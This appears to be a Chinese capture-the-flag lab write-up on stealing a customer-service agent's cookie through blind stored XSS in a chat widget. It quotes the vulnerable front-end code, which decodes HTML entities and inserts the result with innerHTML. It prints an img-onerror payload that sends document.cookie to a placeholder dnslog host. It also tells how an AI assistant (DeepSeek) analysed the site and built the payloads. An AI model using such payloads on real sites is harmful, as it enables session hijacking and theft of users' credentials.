靶场目标:获取在线客服的cookie,cookie中会有flag。
靶场的目标里明确说明了是获取在线客服的cookie,所以我们主要把目光聚集在主页上的在线客服功能。

通过发送一个基础的h1标签的payload,可以发现,网站后端做了一些拦截。

这个反馈可以得出以下的几种方向:
1.去寻找网页内其他功能
2.对这个功能点进行盲打
一开始选了第一个,对网站巡逻了一圈之后,最终还是回到了第二个方向,对这个功能点进行盲打,一开始我用了mht的xss平台的链接,用了很多语句去盲打,但是一直测试没成功,之后用dnslog就可以成功。
早知道换成dnslog了,但是那个时候气急败坏了,就直接deepseek启动了。

不到五分钟的时间,ai给出了一份漏洞报告。

那还说啥了,直接叫ai构造payload测试,通过多次对话试错,最后也是成功拿到了flag

经过后面分析,可以发现在网站的app.js里就写了客服服务台页面的前端实现,这段代码将对话从数据库拉出来后通过decodeHtmlEntities将html编码的字符还原,然后直接通过innerHTML插入,这就会造成xss。
async function pageSupportAgent() {
setTitle('客服服务台');
const review = params.get('review') || '';
const sessionNo = params.get('session') || '';
qs('#page-root').innerHTML = `${hero('Support Console', '客服服务台', '人工客服后台按会话编号读取待处理消息,自动预览客户提交内容。')}
<section class="support-admin-shell">
<aside class="support-admin-card">
<h2>会话概况</h2>
<div id="support-admin-summary"><p class="empty-state">正在读取客服会话。</p></div>
</aside>
<div class="support-admin-main">
<section class="support-admin-transcript">
<div class="support-admin-head"><h2>会话记录</h2><span class="support-state-pill" id="support-admin-status">待读取</span></div>
<div class="support-thread" id="support-admin-thread"></div>
</section>
<section class="support-admin-preview">
<h2>人工预览区</h2>
<div class="support-admin-preview-box" id="support-admin-preview-box">正在构建人工客服预览。</div>
<p class="support-admin-preview-note">服务台会自动将客户消息中的 HTML 实体编码解码后用于内部预览,以便快速识别证件、条款编号和工单引用。</p>
</section>
</div>
</section>`;
const data = await apiGet('support_review_payload', { review, session: sessionNo });
const session = data.session;
const messages = data.messages || [];
qs('#support-admin-status').textContent = supportStatusText[session.status] || session.status;
qs('#support-admin-status').className = `support-state-pill ${supportStateClass(session.status)}`;
qs('#support-admin-summary').innerHTML = `<div class="support-admin-grid">
<div><span>会话编号</span><strong>${escapeHtml(session.session_no)}</strong></div>
<div><span>客户信息</span><strong>${escapeHtml(session.visitor_name)} / ${escapeHtml(session.visitor_phone || '未登记手机号')}</strong></div>
<div><span>咨询主题</span><strong>${escapeHtml(session.topic)}</strong></div>
<div><span>队列状态</span><strong>${escapeHtml(session.queue_note || '人工预览已打开')}</strong></div>
<div><span>创建时间</span><strong>${escapeHtml(session.created_at)}</strong></div>
<div><span>Cookie 环境</span><strong>Bot 打开时自动携带题目专用 Cookie</strong></div>
</div>`;
qs('#support-admin-thread').innerHTML = messages.length ? messages.map(supportMessageItem).join('') : '<p class="empty-state">暂无消息。</p>';
const previewBox = qs('#support-admin-preview-box');
const userHtml = messages
.filter((item) => item.sender_role === 'user')
.map((item) => decodeHtmlEntities(item.content))
.join('<hr>');
previewBox.innerHTML = userHtml || '暂无客户留言。';
手动测试一下,把dnslog的网址放到payload里,html编码后,发送。
<img src=x onerror="new Image().src=`http://${document.cookie.replace(/[^a-zA-Z0-9]/g,`_`)}.xxx`">



写在最后,ai真的很厉害,但是就这个靶场来说,如果客服的前端实现没有写在js里面,或者是js文件非常多,且做了混淆,那么ai要分析出来消耗的token恐怕也很多。
还有就是我用下面这个payload试了一下发现不行,问了ai才知道,原来通过innerHTML注入script标签是无效的,浏览器并不会执行代码。
<script src=http://xxx> </script>






请登录后查看回复内容